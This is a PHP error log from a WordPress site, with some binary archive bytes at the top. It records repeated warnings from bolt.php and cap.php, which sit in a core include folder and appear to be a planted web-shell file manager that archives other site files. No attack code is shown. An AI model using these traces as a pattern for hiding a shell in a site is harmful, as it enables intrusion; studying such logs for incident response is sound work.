}|Y0ʇjOXE,Ht*t:e΋΁Ԅ]$._(J˄s1]_<W~.Q|b<v2qo_`qplj+	x}=Lg$:a@0{2X] ub`b3MS1{MۍkTgs1=P86!P&g?ޒub{9F|h!	kI;oMNf;1}w'aէw:}׍/A`gu2ftթT+yƴ3YkoZT+L]?9fʩ'*8]
S3S_oWǩOf6o!{脠5Nq|2)/?_~| @                                                                                                      error_log                                                                                           0000644                 00000125155 15217301621 0006470 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       [25-Jun-2026 02:42:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
